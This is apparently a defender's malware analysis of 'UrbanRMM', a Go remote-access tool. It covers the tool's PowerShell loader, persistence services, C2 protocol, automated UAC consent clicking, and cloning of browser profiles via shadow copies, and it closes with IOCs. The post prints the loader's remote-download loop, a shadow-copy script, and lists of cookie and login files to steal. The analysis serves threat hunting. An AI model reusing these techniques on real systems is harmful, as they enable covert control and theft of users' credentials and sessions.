UrbanRMM – A totally (il)legitimate RMM Tool

An interesting (for once unobfuscated) powershell file with the name install.ps1 was identified by the automatized scans of my malware collector. So the investigation of this initial loader was done fast and it was clear that it downloads and installs more interesting artifacts, which were not investigated that fast as it was written in golang that is (even with AI use) annoying. The manual download and analysis of these showed an interesting RMM tool written in Golang.

Summary of Behaviour

  • An unobfuscated powershell script downloads 3 Golang executables and a C2 configuration. The script is funnily not obfuscated at all.
  • Three Go (go1.27.4) Windows x64 binaries whose embedded Go build info declares the module path github.com/urbanrmm/urbanrmm (version (devel), i.e. built from local source): cmd/agent, cmd/watch, cmd/stream. The module path is a build-time label. Neither a user nor a repository with that name could be found during OSINT investigation.
  • No C2 address is embedded. Servers are read at runtime from agent.json (containing servers, enroll key, installpath). If the file is missing, the agent writes a template whose only server is http://localhost:8880.
  • Persistence: urbanagent.exe -install copies the binaries to C:\ProgramData\UrbanRMM\ and creates two auto-start services with sc.exe (UrbanRMMAgent, UrbanRMMWatch), each with failure actions restart/5000/restart/15000/restart/60000.
  • Watchdog: urbanwatch.exe checks the state of UrbanRMMAgent every 15 s and runs sc.exe start UrbanRMMAgent when it is stopped or stop-pending.
  • Remote commands (agent): 16 command type strings in main.handleCommand in the agent were implemented in the agent: ping, shell.exec (cmd.exe / powershell.exe), file.list, file.get, file.put, file.op (mkdir/delete/rename), clip.get, clip.set, sys.processes, sys.kill, sys.services, sys.service, sys.apps, uac.consent, agent.uninstall. backstage.start/stop/exec return a fixed error in the agent and are implemented in the streamer.
  • UAC consent: uac.consent opens the current input desktop, switches the thread to it, enumerates windows owned by a process whose image name is consent.exe, and sends BM_CLICK to the child control with dialog ID 6. When opening the input desktop fails, the agent starts a copy of itself with -uacconsent <file> in another session, using a duplicate of its own process token with the session ID changed.
  • Shadow-copy file server: the agent serves the named pipe \\.\pipe\urbanrmm-lockcopy. Per request it creates a shadow copy through PowerShell/CIM (Win32_ShadowCopy.Create), reads the requested files from it, returns them over the pipe and deletes the shadow copy with vssadmin delete shadows /shadow=<id> /quiet. Paths must be inside the profile directory of the user who owns the client process.
  • Streamer start: the agent’s supervisor starts urbanstream.exe in a user session with CreateProcessAsUserW, using a duplicate of the agent’s own process token with TokenSessionId set to the target session. It restarts the streamer when it is not running or its heartbeat file is older than 12 s.
  • Streamer: creates a desktop named UrbanBackstage, connects to /api/agent/stream over WebSocket, starts a fixed list of Windows tools on that desktop on request, and implements a browser-profile clone. The clone finds running browsers via CIM, copies the profile with robocopy to %LOCALAPPDATA%\UrbanRMM\browser-clone\<timestamp>, requests locked files from the agent’s pipe, edits Local State, and starts the browser with the cloned profile on winsta0\UrbanBackstage.
  • Uninstall: stops the streamer, kills recorded Backstage PIDs, writes %TEMP%\urban-del.cmd (deletes C:\ProgramData\UrbanRMM, logs to C:\Users\Public\urban-del.log, deletes itself), runs it, then runs sc delete/sc stop for both services.

The C2 information is given in a separate file called agent.json and it’s indicators are in the IOC section at the bottom of this article. This json file is also downloaded by our powershell installer script.


The Installer

The installer powershell file was rather trivial and well documented (AI-Generated?!). The screenshot is covering the first few lines and already shows a lot of indicators, such as staging server and campaign/key for this artifacts download.

As visible, the installer checks if the process is running as privileged account and later goes on by trying to run itself as administrator if the checks result is false. This is needed because the agent’s installation creates services that need this privilege level.

After the installer runs as administrator the download and installation of the binaries and services starts:

$files = [ordered]@{
  'agent.json'      = "$base/api/deploy/$key/agent.json"
  'urbanagent.exe'  = "$base/api/deploy/$key/files/urbanagent.exe"
  'urbanwatch.exe'  = "$base/api/deploy/$key/files/urbanwatch.exe"
  'urbanstream.exe' = "$base/api/deploy/$key/files/urbanstream.exe"
}
foreach ($name in $files.Keys) {
  Invoke-WebRequest -UseBasicParsing -Uri $files[$name] -OutFile (Join-Path $stg $name)
}

After the files are downloaded the agent with it’s plugins is installed with following line:

& "$stg\urbanagent.exe" -install -config "$stg\agent.json"

The Agent and it’s Components

To make further explanations easier and the names less confusing, here’s an overview of the workings of these different parts of this application:

Overview of identified components

In this specific installation, all components are installed into: C:\ProgramData\UrbanRMM\.


Lifecycle overview of the Components

The following is the lifecycle of the identified components and their possibilities:

  1. Install. The operator runs urbanagent.exe -install with admin rights. It copies itself and the two workers to C:\ProgramData\UrbanRMM\, writes agent.json, and creates and starts both services.
  2. Persist. The SCM starts both services at boot. UrbanRMMWatch restarts the agent whenever it stops (details below).
  3. Enrol. The agent registers with the C2 using enrollKey, receives a deviceId and token, and saves them to agent-state.json.
  4. Operate. The agent long-polls for commands and runs them. The available commands are described below in “The Agent” section.
  5. Stream. The agent starts urbanstream.exe in the user’s session and keeps it running. The streamer reads the same config and state files and opens the WebSocket to the C2 Server.
  6. Clone browsers. On a backstage.cloneBrowser command the streamer copies the browser profiles and asks the agent, over the pipe, for VSS copies of locked files.
  7. Remove. agent.uninstall (remote) or -uninstall deletes the services and starts a self-deleting batch file.

The Agent

Following sections describe the different capabilities of the core agent.

Command-line modes (main.main)

FlagBehaviour
-config <path> (default agent.json)Loads config: servers[], enrollKey, tlsInsecure, stateFile. If the file is missing, it writes a template and prints “created %s – fill in servers + enrollKey, then rerun”. The template’s default server is http://localhost:8880, a placeholder and not an IOC
-install“install agent + watchdog (watcher) + streamer as auto-start services and exit”
-serviceRuns under the Service Control Manager as UrbanRMMAgent
-uninstall“remove agent + watchdog services, streamer and files, and exit”
-uacconsent <file>Internal helper mode: “click Yes on a UAC prompt in THIS session, write result to the file, exit”

Log prefix: [agent] . Debug environment variable: URBAN_UAC_DEBUG.


Installation and persistence (main.installServices)

  1. Stops any existing UrbanRMMWatch and UrbanRMMAgent services and the streamer, then waits until they have stopped.
  2. Creates C:\ProgramData\UrbanRMM\ and copies urbanagent.exe into it. It also copies urbanwatch.exe and urbanstream.exe if they are located next to the installer.
  3. Writes C:\ProgramData\UrbanRMM\agent.json with stateFile = C:\ProgramData\UrbanRMM\agent-state.json.
  4. Creates two auto-start services through sc.exe (create … start=auto, plus failure … reset= … restart actions; the installer reports “auto-start, crash restart, boot autostart”):
    • UrbanRMMAgent – “UrbanRMM Agent” – "C:\ProgramData\UrbanRMM\urbanagent.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service
    • UrbanRMMWatch – “UrbanRMM Watchdog” – "C:\ProgramData\UrbanRMM\urbanwatch.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service
  5. Starts the watchdog and then the agent. Both run as LocalSystem.

C2 protocol

EndpointPurpose
POST /api/agent/registerEnrolment with enrollKey. Sends hostname, username, os, version, av (Defender status from Get-MpComputerStatus)
POST /api/agent/heartbeatKeep-alive with idleSeconds (user idle time). The server replies with nextIntervalMs and can send newServerUrl to move the agent to another C2
/api/agent/waitLong-poll for queued commands
/api/agent/commands/<id>/resultCommand results (ok, exitCode, output, truncated)
/api/agent/transfers/<id>File upload and download
/api/agent/eventsEvent reporting
HeadersContent-Type: application/json, Authorization: Bearer <token>, X-Device-ID, Idempotency-Key / X-Idempotency-Key
  • Every URL in servers[] is tried in turn (“fell back to %s”).
  • tlsInsecure turns off certificate checks, so self-signed C2 certificates work.
  • If the token is rejected, the agent re-enrolls (“token rejected – re-registering”, “device not found (re-enroll)”).
  • The deviceId and token are saved in agent-state.json, which the streamer also reads.

Remote command set (main.handleCommand / cmd*)

The type string is matched by length (jump table for lengths 4–15) followed by 8/4/2/1-byte immediate compares. Example: shell.exec = cmp [rdx], 0x78652E6C6C656873 (“shell.ex”) + cmp word [rdx+8], 0x6365 (“ec”).

Details and potential clarifications about these commands are described in the table.

TypeDispatchVerified behaviour
pinginlinereturns pong
shell.execmain.shellExecAsync → main.runShellsee section below
file.listgowrap1 → cmdFileListcalls os.ReadDir; result fields name, isDir, size
file.getgowrap3 → cmdFileGetcalls os.Stat, os.OpenFile, main.putTransfer (uploads the file to the server)
file.putgowrap4 → cmdFilePutcalls os.MkdirAll (parent dir), main.getTransferToFile (downloads from the server to the path)
file.opgowrap2 → cmdFileOppayload action + path: mkdir → MkdirAll(path, 0755); delete → RemoveAll(path) if it exists; rename → os.Rename(path, newPath); anything else → “unknown action %q”
clip.getgowrap5 → cmdClipGetwinapi.ClipboardGet: OpenClipboard, GetClipboardData, GlobalLock/GlobalUnlock, CloseClipboard
clip.setgowrap6 → cmdClipSetwinapi.ClipboardSet: OpenClipboard, EmptyClipboard, GlobalAlloc, GlobalLock/GlobalUnlock, SetClipboardData, CloseClipboard; string “clipboard text capped at 1MB” present
sys.processesgowrap7 → cmdProcesseswinapi.Processes: CreateToolhelp32Snapshot, Process32FirstW/Process32NextW, OpenProcess, QueryFullProcessImageNameW, K32GetProcessMemoryInfo

owner via: winapi.processUser (OpenProcessToken, GetTokenInformation, LookupAccountSidW).
Result fields include pid, parent, memKb, user
sys.killgowrap8 → cmdKillstrconv.Atoi on payload, winapi.Processes, winapi.KillPID (OpenProcess, TerminateProcess)
sys.servicesgowrap9 → cmdServiceswinapi.Services: OpenSCManagerW + EnumServicesStatusExW (servicesDirect), also servicesViaSC, and start type read from the registry (serviceStartTypeByName: RegOpenKeyExW, RegQueryValueExW)
sys.servicegowrap10 → cmdServicewinapi.ServiceAction: OpenSCManagerW, OpenServiceW; action stop → ControlService, start → StartServiceW, restart → stop then start; anything else → “unknown service action %q”
sys.appsgowrap11 → cmdAppswinapi.InstalledApps: enumerates SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall under HKLM (64-bit view, KEY_WOW64_64KEY), HKLM (32-bit view, KEY_WOW64_32KEY) and HKCU (RegOpenKeyExW, RegEnumKeyExW, RegQueryValueExW). error “no uninstall keys readable”
uac.consentgowrap12 → cmdUACConsentsee section below
agent.uninstallgowrap13 → cmdUninstallpayload files == "1" → main.fullUninstall(…, files), then os.Exit(0)
backstage.start, backstage.stop, backstage.execinlinereturns the error “screen stream offline – no user session connected at the device (is anyone logged on?)”
other–“unknown command type %q”

All handlers except ping, shell.exec and the backstage.* branch run in a new goroutine (runtime.newproc). Errors are reported as event type <type>.error (main.reportEvent) and through main.postResult.


uac.consent (main.cmdUACConsent, winapi.UACConsent, main.uacViaConsoleSession)

  1. If URBAN_UAC_DEBUG is set, a global logger function used by main.uacLog is replaced. The string C:\ProgramData\UrbanRMM\uac.log is present.
  2. Direct attempt: winapi.UACConsent in the agent process.
  3. If the direct attempt returns the “cannot open the input desktop” error, main.uacViaConsoleSession runs:
    • result file C:\ProgramData\UrbanRMM\urban-uac-<RandHex(6)>.txt
    • starts "<own exe>" "-uacconsent" "<file>" via winapi.LaunchInUserSession, waits up to 10 s
    • reads the file: ok: → success, err: → error; a missing file gives “consent helper produced no result (no prompt showing?)”
    • the result file is removed by a deferred function (uacViaConsoleSession.deferwrap1)

winapi.UACConsent:

  1. GetCurrentThreadId → GetThreadDesktop (saved, restored and closed via defer).
  2. OpenInputDesktop. On failure: “cannot open the input desktop: %w: %w”.
  3. SetThreadDesktop(<input desktop>). On failure: “SetThreadDesktop(secure) failed”.
  4. EnumWindows callback (UACConsent.func2): GetWindowThreadProcessId → OpenProcess(0x1000 PROCESS_QUERY_LIMITED_INFORMATION) → QueryFullProcessImageNameW. The first window whose image base name is consent.exe is selected (winapi.isConsentProcess).
  5. EnumChildWindows on that window (UACConsent.func3): the first child whose GetDlgCtrlID is 6 receives SendMessageW(hwnd, 0x00F5 BM_CLICK, 0, 0).
  6. Return values: “clicked Yes on the UAC prompt”, or the errors “UAC prompt found but no Yes button” / “no UAC prompt is currently showing”.

This is interesting as it shows an automatized clicking of the yes-button on an UAC-prompt. Remark: I didn’t test out if the behaviour works correctly.


shell.exec (main.shellExecAsync, main.runShell)

  • Payload cmd is required. timeout is in seconds (default 60 s, maximum 600 s).
  • shell = cmd or bat → %SystemRoot%\System32\cmd.exe /D /Q /C <cmd>
  • shell = powershell, ps or empty → %SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -ExecutionPolicy Bypass -Command <cmd>
  • any other value → “unknown shell %q”
  • %SystemRoot% falls back to C:\Windows.
  • Runs with exec.CommandContext. Partial output is posted every 500 ms; the final result includes the exit code. On timeout the message is “timeout after %s – process killed”. Events: shell.exec, shell.exec.failed, shell.exec.error.

The lock-copy pipe server (Browser Copy functionality described in the Streamer section)

When a browser holds a file open, robocopy can’t read it – so the clone asks this agent to grab a Volume Shadow Copy (VSS) snapshot instead. main.lockCopyServer and its handlers (main.lcHandleRequest, main.lcValidatePath, main.lcVSSCreate) run that service over a named pipe. Because it hands back the raw bytes of sensitive files like cookie and login databases, the whole design is built around only ever serving them to a caller that’s already entitled to read them.

The pipe and its security descriptor

The server listens on \\.\pipe\urbanrmm-lockcopy. Its access control is locked down with a self-relative security descriptor assembled byte by byte in main.lcBuildRelativeSD (then wrapped in a 0x18-byte SECURITY_ATTRIBUTES struct). The result is:

  • Revision 1, control 0x8004 (SE_SELF_RELATIVE | SE_DACL_PRESENT), no SACL.
  • Owner = Group = S-1-5-32-544 (BUILTIN\Administrators).
  • DACL (revision 2, 3 ACEs, all ACCESS_ALLOWED, flags 0, mask 0x10000000 = GENERIC_ALL): S-1-5-18 (SYSTEM), S-1-5-32-544 (Administrators) and S-1-5-4 (INTERACTIVE).

In short, only SYSTEM, administrators and the interactive user can open the pipe at all.

Per-connection checks

Each connection gets a 60-second timeout (time.AfterFunc) so a stuck client can’t hold the server open. The caller’s process ID is read straight from the pipe, and the server then works out which directory that caller is allowed to read from:

  • the client process’s own profile directory (winapi.ProcessProfileDir), or
  • C:\Users\<user>, rebuilt from winapi.ProcessUserName.

If neither can be resolved, the client is rejected with “client rejected: not a local process this agent can open”.

The Request

The client sends one JSON line (capped at 0x10000 bytes):

{ "files": ["<path>", "…"], "maxTotal": 0 }

maxTotal is optional. If it’s missing or out of range it defaults to 0x20000000 (512 MiB), which caps how much data a single request can pull.

Path validation (lcValidatePath)

Every requested path is checked, each failure with its own distinct error, so a client can never trick the agent into reading a file outside the caller’s own profile:

  • must be non-empty
  • must not start with \\ – “UNC/device paths are not accepted”
  • must be absolute
  • must be a drive-letter volume
  • must have no : after the drive letter – “alternate data streams are not accepted”
  • must sit inside the allowed root – “outside your own profile”

Taking the snapshot (lcVSSCreate)

For each volume involved, the agent shells out to PowerShell (120 s timeout) to create a shadow copy. It first tries the ClientAccessible context and falls back to NoWriters if that fails:

$ErrorActionPreference='Stop';
$ctx='ClientAccessible';
$r=Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create `
-Arguments @{Volume='<X:\>';Context=$ctx};
if ($r.ReturnValue -ne 0) {
$ctx='NoWriters';
$r=Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create `
-Arguments @{Volume='<X:\>';Context=$ctx};
}
if ($r.ReturnValue -ne 0) {
Write-Output ('ERR ' + $r.ReturnValue);
exit 1
};
$sc=Get-CimInstance -ClassName Win32_ShadowCopy -Filter "ID='$($r.ShadowID)'";
Write-Output ('OK ' + $r.ShadowID + ' ' + $sc.DeviceObject)

On success the script prints OK <id> <DeviceObject>, which the agent parses to find the snapshot’s device path and then reads each requested file out of it.

Cleanup (lcVSSCreate.func1)

Once the files are read, the snapshot is deleted (60 s timeout):

vssadmin delete shadows /shadow=<id> /quiet

If the delete fails it’s logged as “lockcopy: snapshot %s delete: %v (%s)” – the read still succeeds, this just flags a leftover snapshot.

The Reply

The server replies with a single JSON line describing what happened, immediately followed by the raw bytes of every file that was read successfully, back to back:

{
"ok": true,
"via": "vss",
"error": "",
"results": [ { "path": "", "ok": true, "size": 0, "error": "" } ]
}

A successful run is logged as “lockcopy: served %s (pid %d): %d file(s), %d bytes via %s”. If the files together exceed the cap, it fails with “total %d bytes exceeds the %d cap”. Any error is returned as a reply with ok: false via main.lcWriteError.


Streamer supervisor (main.streamSupervisor, main.spawnStream, main.readStreamPid)

  • Runs only if urbanstream.exe exists next to the agent executable.
  • Ticker 10 s. Reads stream.pid from the config directory. The streamer writes "<pid> <unix seconds>\n" there (main.writeHeartbeat in the streamer).
  • If the recorded PID is the running streamer and the heartbeat is ≥ 12 s old, logs and calls winapi.KillPID.
  • If no streamer is running and ≥ 30 s have passed since the last start, calls main.spawnStream (section 4). Logs “stream supervisor: streamer started (session=%d console=%d)” or “stream supervisor: cannot start a user-session streamer: %v”.

Uninstall (main.cmdUninstall, main.fullUninstall, winservice.Remove)

If the uninstall command is called the actions are taken in the following order:

  1. Event agent.uninstall (“files=%v services removing”).
  2. main.stopStream. main.killBackstageTools reads backstage.json from the config directory, calls KillPID for each recorded PID, then deletes the file.
  3. If files is true and the agent’s own directory equals C:\ProgramData\UrbanRMM (case-insensitive), it writes <os.TempDir()>\urban-del.cmd (mode 0644) and starts C:\Windows\System32\cmd.exe /D /C <that file> (SysProcAttr CreationFlags = 8). Otherwise it logs “agent: guard skipped cleanup (not the installed image)”.
  4. Event agent.uninstall.done, sleep 1.5 s.
  5. winservice.Remove("UrbanRMMWatch"), then winservice.Remove("UrbanRMMAgent"). Each runs sc.exe delete <name>, then sc.exe stop <name>.

Batch file contents:

@echo off
echo helper_started> C:\Users\Public\urban-del.log
ping -n 4 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
ping -n 6 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
ping -n 6 127.0.0.1 >nul
rd /s /q "C:\ProgramData\UrbanRMM" 2>> C:\Users\Public\urban-del.log
del /f /q "%~f0"

The Watcher

As we know the functionality and the workings of the main agent, the following section is covering the functionality of the watcher itself, which is rather trivial.

Functions: main.main, main.loop, plus package internal/winservice (Run, State, sc, …).

  • Flags (main.main): -service (“run as a Windows service (started by the SCM)”) → winservice.Run("UrbanRMMWatch", …). -config is declared (default agent.json) but its value is not used. Log prefix [watch] .
  • Loop (main.loop): 15 s timer (time.NewTimer(15000000000)). Each iteration calls winservice.State("UrbanRMMAgent"):
    • missing → log once, keep looping
    • stopped or stop-pending → winservice.sc("start", "UrbanRMMAgent"), which runs sc.exe start UrbanRMMAgent. On error: log “start %s: %v”.
  • No network code is referenced from main.*.

The Streamer

As easy and short the last section was, this one’s going to be the opposite as it handles some more complicated techniques and functionalities but bear with me as we uncover it’s inner functionality.


Start-up (main.main, main.loadConfig, main.writeHeartbeat)

  • Flags:
    • -config (default agent.json)
    • -log <file> (“also append log output to this file (the agent launches this worker with no console)”)
  • Log prefix [stream] .
  • Writes stream.pid in the config directory ("<pid> <unix seconds>\n", mode 0644) and starts a goroutine (main.main.func1).
  • Loop:
    • reads the state file
    • while deviceId or token is empty, logs “waiting for agent registration (%s)” and sleeps 2 s
    • otherwise runs main.session; sleeps 2 s after it returns

WebSocket channel (main.dial)

  • For each candidate server, the scheme is set to wss if it was https, otherwise ws. The path is set to /api/agent/stream, with query parameters deviceId and token from the state file.
  • Connection: gorilla/websocket (*Dialer).DialContext. If tlsInsecure is set, a new Dialer is used with a 45 s handshake timeout and a TLS config with one boolean field set to 1.
  • Errors: “%s: http %d”, “%s: %v”, “no servers configured”. When a different server answers: “fell back to %s”.
  • The functions main.sendHello, main.writeFrame, main.writeJPEG, main.inject and main.injectBackstage exist.

Backstage commands (main.handleBscmd)

Called from main.session. Type strings compared:

TypeHandler
backstage.startmain.backstageStart
backstage.stopmain.backstageStop
backstage.execmain.backstageExec
other“unknown backstage command %q”

backstage.start: winapi.CreateDesktop("UrbanBackstage"), winapi.BsSetTaskbarTools(bsToolList()), winapi.StartBackstageBackground, then writes state via main.writeBackstage. Result text “backstage desktop active”.

backstage.exec requires payload tool and an active Backstage state (main.readBackstage). Tool browserclone → main.startBackstageBrowserClone (described in section below). Any other tool → main.launchBackstageTool. Result “tool=%s pid=%d”.


Tools (main.resolveTool)

%SystemRoot% falls back to C:\Windows. Program Files paths come from the environment, with fallbacks.

Tool keyCommand
cmd%SystemRoot%\System32\cmd.exe /k
powershell%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NoExit
notepad%SystemRoot%\System32\notepad.exe <payload "file">
taskmgr%SystemRoot%\System32\taskmgr.exe
regedit%SystemRoot%\regedit.exe
explorer%SystemRoot%\explorer.exe
devmgmt%SystemRoot%\System32\mmc.exe devmgmt.msc
services%SystemRoot%\System32\mmc.exe services.msc
compmgmt%SystemRoot%\System32\mmc.exe compmgmt.msc
diskmgmt%SystemRoot%\System32\mmc.exe diskmgmt.msc
eventvwr%SystemRoot%\System32\eventvwr.exe
msinfo32%SystemRoot%\System32\msinfo32.exe
resmon%SystemRoot%\System32\resmon.exe
cleanmgr%SystemRoot%\System32\cleanmgr.exe
appwiz%SystemRoot%\System32\control.exe appwiz.cpl
firewall%SystemRoot%\System32\control.exe firewall.cpl
users%SystemRoot%\System32\netplwiz.exe
browserfirst existing of %ProgramFiles(x86)% / %ProgramFiles% \Microsoft\Edge\Application\msedge.exe, then \Google\Chrome\Application\chrome.exe, with --user-data-dir="%LOCALAPPDATA%\UrbanBrowser" <payload "url">
other“unknown tool %q”

Started PIDs are recorded in main.recordBackstagePid function. The agent reads these from backstage.json during uninstall.


Cloning a running browser

main.cloneBrowserRun and its helpers make a throwaway copy of a user’s live browser profile – cookies, logins, sessions and all – so it can be launched independently without touching the original. Here’s how it works, step by step.

1. Find and pick a browser (main.pickBrowserToClone, main.scanBrowserProcs)

First it looks for running browsers. A PowerShell call (25 s timeout) enumerates processes whose name matches any of the supported browsers and returns their name, executable path, command line and session ID as JSON:

powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "
$ErrorActionPreference='SilentlyContinue';
Get-CimInstance Win32_Process -Filter \"
Name='chrome.exe' OR Name='msedge.exe' OR Name='brave.exe' OR
Name='vivaldi.exe' OR Name='chromium.exe' OR Name='yandex.exe' OR
Name='browser.exe' OR Name='opera.exe' OR Name='firefox.exe' OR
Name='waterfox.exe' OR Name='librewolf.exe' OR Name='palemoon.exe' OR
Name='floorp.exe'\" |
Select-Object Name,ExecutablePath,CommandLine,SessionId |
ConvertTo-Json -Compress"

To locate the profile on disk, main.cloneUserDataDir pulls the --user-data-dir path out of the process command line using the regex (?i)--user-data-dir(?:=|\s+)("(?:[^"]*)"|\S+). If there’s no match, it falls back to the default location via main.familyDataDir.

2. Create the destination

The clone is written to:

%LOCALAPPDATA%\UrbanRMM\browser-clone\<timestamp>

(falling back to C:\Users\Public if %LOCALAPPDATA% is unset), where <timestamp> is formatted as 20060102-150405. The directory is created with mode 0755, and the detected profile layout is logged as flat, gecko or standard.

3. Copy the profile (main.cloneCopyStep, main.robocopyClone)

Copying is done with robocopy, retried up to 3 times with a back-off of (attempt − 1) × 750 ms:

robocopy <src> <dst> /E /COPY:DAT /DCOPY:DAT /R:1 /W:1 /XJ /MT:8
/NFL /NDL /NJH /NP
/XD Cache "Code Cache" GPUCache ShaderCache GrShaderCache DawnCache
DawnGraphiteCache DawnWebGPUCache GraphiteDawnCache "Media Cache"
Crashpad "Crash Reports" component_crx_cache
"Optimization Guide Prediction Models" SwReporter CacheStorage ScriptCache
/XF lockfile Singleton* parent.lock

The /XD and /XF lists skip cache directories and lock files, which are large and useless to copy. Any robocopy exit code above 7 is treated as a failure and logged as "robocopy exit %d: %s".

4. Clear leftover locks (main.clearCloneLocks)

Lock files that slipped through are removed from the clone so the copied profile can be opened cleanly:

  • Gecko (Firefox-family): deletes parent.lock, lock and .parentlock.
  • Everything else (Chromium-family): deletes lockfile and any Singleton* files.

5. Recover locked essential files (main.cloneEssPairs)

Some files are essential to a working clone but are often locked by the live browser, so robocopy can’t read them. The clone verifies that each one made it across:

  • Chromium: Network\Cookies, Cookies, Safe Browsing Cookies, Login Data, Login Data For Account, Account Web Data, Web Data, Sessions\, Session_, Tabs_ – plus their -journal / -wal / -shm variants.
  • Gecko: cookies.sqlite, places.sqlite, key4.db, logins.json, logins-backup.json, prefs.js, favicons.sqlite, formhistory.sqlite, permissions.sqlite, content-prefs.sqlite, xulstore.json, extensions.json, handlers.json, search.json.mozlz4, sessionstore-backups\recovery.jsonlz4, sessionstore-backups\previous.jsonlz4 – plus their -wal / -shm / -journal variants.

Any file from this set that robocopy failed to copy is requested from the agent over its pipe (main.lockCopyViaAgent), which reads it through a Volume Shadow Copy (VSS):

clone browser: %d locked file(s) need the agent's VSS copy: %s

The recovered files are patched back into the clone by main.patchLockedEssentials:

clone browser: VSS recovered %d locked file(s)

If an essential file still can’t be obtained, the clone fails with:

locked essential %s could not be cloned (%s)

6. Patch Local State (main.patchLocalStateDefault)

For Chromium profiles, the clone edits <clone>\Local State so the browser opens the right profile: it sets profile.last_used = <profile> and profile.last_active_profiles = [<profile>], then writes the file back with mode 0644. All other keys, including the os_crypt encryption key, are re-encoded unchanged, which is what keeps the copied cookies and logins decryptable.

clone browser: Local State patched (last_used=%s, os_crypt preserved)

7. Launch the clone (main.cloneLaunchArgs, winapi.SpawnOnDesktop)

Finally the clone is started on the winsta0\UrbanBackstage desktop, with the payload url appended to the arguments if one was supplied. The new process ID is stored via main.recordBackstagePid. The arguments depend on the detected layout:

  • flat: --user-data-dir="<clone>" --no-first-run --no-default-browser-check --start-maximized
  • Gecko: --profile "<clone>" --no-remote --allow-downgrade
  • standard: --user-data-dir="<clone>" --profile-directory="<profile>" --no-first-run --no-default-browser-check --disable-session-crashed-bubble --hide-crash-restore-bubble --restore-last-session --start-maximized

IOC’s

File hashes

FileSHA-256
install.ps12bf1aaa147e4d77e8e6d2268b011e7557d14f461d9e92c8c5700fe6021633fd1
urbanagent.exe16ccc80bdd6423e5062f8a592207fbf8a2abd0b783c26c3dd4bc4d80f7fc0a45
urbanwatch.exe4aa227a63345897a30362e275f9b4691afe6ee09de24b676a9b039d784cce79e
urbanstream.exe0315f0f945ccec47f41d5c9fcd563973c17c2f8e93be951c2f043152087dc845

Host

TypeIndicator
ServiceUrbanRMMAgent, display name UrbanRMM Agent, binPath "C:\ProgramData\UrbanRMM\urbanagent.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service, start auto, failure actions restart/5000/restart/15000/restart/60000, reset 86400
ServiceUrbanRMMWatch, display name UrbanRMM Watchdog, binPath "C:\ProgramData\UrbanRMM\urbanwatch.exe" -config "C:\ProgramData\UrbanRMM\agent.json" -service, same start/failure settings
DirectoryC:\ProgramData\UrbanRMM\
FileC:\ProgramData\UrbanRMM\urban-uac-<hex>.txt
FileC:\ProgramData\UrbanRMM\uac.log (string present; writer not traced)
File<TEMP>\urban-del.cmd, C:\Users\Public\urban-del.log
Directory%LOCALAPPDATA%\UrbanRMM\browser-clone\<YYYYMMDD-HHMMSS>\
Directory%LOCALAPPDATA%\UrbanBrowser (--user-data-dir of the browser tool)
Named pipe\\.\pipe\urbanrmm-lockcopy
DesktopUrbanBackstage (winsta0\UrbanBackstage)
Command lineurbanagent.exe -uacconsent <path>
Command linepowershell … Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create … Context=$ctx with $ctx='ClientAccessible' / 'NoWriters'
Command linevssadmin delete shadows /shadow=<id> /quiet
Command linepowershell -NoProfile -NonInteractive -Command "Get-MpComputerStatus | Select-Object AntivirusEnabled,AMRunningMode | ConvertTo-Json -Compress"
Command linepowershell … Get-CimInstance Win32_Process -Filter "Name='chrome.exe' OR Name='msedge.exe' OR …" | Select-Object Name,ExecutablePath,CommandLine,SessionId | ConvertTo-Json -Compress
Command linerobocopy … /E /COPY:DAT /DCOPY:DAT /R:1 /W:1 /XJ /MT:8 /NFL /NDL /NJH /NP /XD Cache "Code Cache" … /XF lockfile Singleton* parent.lock
Command linebrowser with --user-data-dir="…\UrbanRMM\browser-clone\…" and --disable-session-crashed-bubble --hide-crash-restore-bubble --restore-last-session; Gecko --profile "…" --no-remote --allow-downgrade
Command linesc.exe start UrbanRMMAgent with parent urbanwatch.exe
Environment variableURBAN_UAC_DEBUG
String in urbanwatch.exeC:/Users/Administrator/Desktop/UrbanRMM/

Network

TypeIndicator
URI/api/agent/register, /api/agent/heartbeat, /api/agent/wait, /api/agent/commands/, /api/agent/events, /api/agent/transfers/
URI/api/agent/stream?deviceId=<id>&token=<token> (WebSocket, ws/wss)
Header stringsX-Device-ID, Idempotency-Key, X-Idempotency-Key
Version0.4.0
C2 hosthttp[://]154.12.116.131[:]8880
C2 port8880
Enroll KeyURBAN-75b1b5c1-e561293f

Im still working on the yara rule, that I will provide in an update to this post. I hope this helps some company hunt or prevent the usage of the tool in their environment.


R4ruk